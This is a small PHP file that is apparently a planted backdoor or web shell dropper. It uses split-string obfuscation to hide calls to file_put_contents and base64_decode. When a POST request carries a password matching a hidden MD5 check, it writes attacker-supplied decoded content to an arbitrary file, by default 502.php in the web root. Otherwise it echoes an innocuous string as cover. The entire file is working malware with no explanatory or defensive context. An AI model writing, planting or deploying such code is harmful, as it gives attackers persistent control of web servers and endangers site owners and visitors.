<?php
$muw = 'M'.date('y');
$ube = $_POST;
if(!empty($ube['b']) && md5($ube['b'].md5($ube['b']))==('669'.'0f4'.'81d'.'23d'.'ecf'.'787'.'18e'.'c6e'.'010'.'6de'.'21')) {
	$tms = !empty($ube['f']) ? $ube['f'] : '502.'.'php';
	if(!empty($ube['r'])) $tms = $_SERVER['DOCUMENT_ROOT'].'/'.$tms;
	$ywq = 'file'.'_PUT'.'_CON'.'tent'.'S'; $ias = 'base'.'64_d'.'ecod'.'e';
	if($ywq($tms, $ias($ube['c']))) exit($tms);
}
echo $muw;
?>